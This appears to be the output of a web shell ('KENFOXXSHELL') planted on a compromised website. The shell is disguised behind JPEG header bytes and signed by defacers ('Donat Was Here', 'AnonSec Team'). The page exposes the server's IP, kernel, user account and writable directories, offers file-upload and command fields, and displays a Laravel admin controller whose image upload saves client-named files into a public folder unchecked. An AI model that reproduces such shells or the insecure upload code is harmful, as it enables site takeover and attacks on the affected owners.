ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/Admin/NewsCateController.php
<?php 

namespace App\Http\Controllers\Admin;



use App\Http\Requests;

use App\Http\Controllers\Controller;

use App\Http\Requests\NewsCateRequest;



use Illuminate\Http\Request;

use App\NewsCate;

use Input, File;

use Validator;







class NewsCateController extends Controller {

    

	public function getDanhSach()

    {

        if($_GET['type']=='tin-tuc') $trang='tin tức';

        else if($_GET['type']=='dich-vu') $trang='dich vụ';

        else if($_GET['type']=='bai-viet') $trang='bài viết';

        else $trang = "bài viết";

        $data = NewsCate::all();

        if(!empty($_GET['type'])){

            $com=$_GET['type'];

        }else{

            $com='';

        }

        $data = NewsCate::select()->where('com' , $com)->get();

    	return view('admin.newscate.list', compact('data','trang'));

    }

    public function getAdd()

    {

        if($_GET['type']=='tin-tuc') $trang='tin tức';

        else if($_GET['type']=='dich-vu') $trang='dich vụ';

        else if($_GET['type']=='bai-viet') $trang='bài viết';

        else $trang = "bài viết";



        if(!empty($_GET['type'])){

            $com=$_GET['type'];

        }else{

            $com='';

        }

        $parent = NewsCate::select('id','name','parent_id')->where('com' , $com)->get()->toArray();

    	return view('admin.newscate.add', compact('parent','trang'));

    }

    public function postAdd(NewsCateRequest $request)

    {

        $com= $request->txtCom;

    	$cate = new NewsCate;



        $img = $request->file('fImages');

        $path_img='upload/news';

        $img_name='';

        if(!empty($img)){

            $img_name=time().'_'.$img->getClientOriginalName();

            $img->move($path_img,$img_name);

        }

        $cate->photo = $img_name;

        $cate->parent_id = $request->txtNewsCate;

        $cate->name = $request->txtName;

        $cate->name_eg = $request->txtName_eg;

        $cate->alias = changeTitle($request->txtName);

        $cate->mota = $request->txtDesc;

        $cate->keyword = $request->txtKeyword;

        $cate->description = $request->txtDescription;

        $cate->stt = $request->stt;

        $cate->com = $com;



        if($request->status=='on'){

            $cate->status = 1;

        }else{

            $cate->status = 0;

        }

        $cate->save();

        return redirect('admin/newscate?type='.$com)->with('status','Thêm mới thành công !');

    }

    public function getEdit(Request $request)

    {

        if($_GET['type']=='tin-tuc') $trang='tin tức';

        else if($_GET['type']=='dich-vu') $trang='dich vụ';

        else if($_GET['type']=='bai-viet') $trang='bài viết';

        else $trang = "bài viết";



        if(!empty($_GET['type'])){

            $com=$_GET['type'];

        }else{

            $com='';

        }

        $id= $request->get('id');

        //Tìm article thông qua mã id tương ứng

        $data = NewsCate::find($id);

        if(!empty($data)){

            if($request->get('hienthi')>0){

                if($data->status == 1){

                    $data->status = 0; 

                }else{

                    $data->status = 1; 

                }

                $data->update();

                return redirect('admin/newscate?type='.$com)->with('status','Cập nhật thành công !');

            }

            

            $parent = NewsCate::orderBy('stt', 'asc')->where('com' , $com)->get()->toArray();

           // Gá»i view edit.blade.php hiển thị bải viết

            return view('admin.newscate.edit',compact('data','parent','id','trang'));

        }else{

            $data = NewsCate::all();

            //return redirect()->route('admin.newscate.index')->with('status','Dữ liệu không có thực');

            return redirect('admin/newscate?type='.$com)->with('status','Dữ liệu không có thực !');

        }

    }



    public function update(Request $request)

    {

        $this->validate($request,

            ["txtName" => "required"],

            ["txtName.required" => "Bạn chưa nhập tên danh mục"]

        );

        if(!empty($_GET['type'])){

            $com=$_GET['type'];

        }else{

            $com='';

        }

        $id=$request->get('id');

        $news_cate = NewsCate::find($id);

        if(!empty($news_cate)){

            $img = $request->file('fImages');

            $img_current = 'upload/news/'.$request->img_current;

            if(!empty($img)){

                $path_img='upload/news';

                $img_name=time().'_'.$img->getClientOriginalName();

                $img->move($path_img,$img_name);

                $news_cate->photo = $img_name;

                if (File::exists($img_current)) {

                    File::delete($img_current);

                }

            }



            if($request->txtNewsCate!= $id && $request->txtNewsCate>0){

                $news_cate->parent_id = $request->txtNewsCate;

            }else{

                $news_cate->parent_id = 0;

            }

            $news_cate->name = $request->txtName;

            $news_cate->name_eg = $request->txtName_eg;

            $news_cate->alias = changeTitle($request->txtName);

            $news_cate->mota = $request->txtDesc;

            $news_cate->title = $request->txtTitle;

            $news_cate->keyword = $request->txtKeyword;

            $news_cate->description = $request->txtDescription;
            
            $news_cate->title_eg = $request->txtTitle_eg;

            $news_cate->keyword_eg = $request->txtKeyword_eg;

            $news_cate->description_eg = $request->txtDescription_eg;
            
            $news_cate->stt = $request->stt;

            $news_cate->com = $request->txtCom;

            if($request->status=='on'){

                $news_cate->status = 1;

            }else{

                $news_cate->status = 0;

            }



            $news_cate->save();



            return redirect('admin/newscate/edit?id='.$id.'&type='.$com)->with('status','Cập nhật thành công');

        }else{

            return redirect()->back()->with('status','Dữ liệu không có thực');

        }

    }

    public function getDelete($id)

    {

        if(!empty($_GET['type'])){

            $com=$_GET['type'];

        }else{

            $com='';

        }

        $product = NewsCate::findOrFail($id);

        $product->delete();

        return redirect('admin/newscate?type='.$com)->with('status','Xóa thành công');

    }

    public function getDeleteList($id){

        if($_GET['type']=='tin-tuc') $trang='tin tức';

        else if($_GET['type']=='dich-vu') $trang='dich vụ';

        else if($_GET['type']=='bai-viet') $trang='bài viết';

        else $trang = "bài viết";

        

        if(!empty($_GET['type'])){

            $com=$_GET['type'];

        }else{

            $com='';

        }

        $listid = explode(",",$id);

        foreach($listid as $listid_item){

            $product = NewsCate::findOrFail($listid_item);

            $product->delete();

        }

        return redirect('admin/newscate?type='.$com)->with('status','Xóa thành công');

    }

}


Anon7 - 2022
AnonSec Team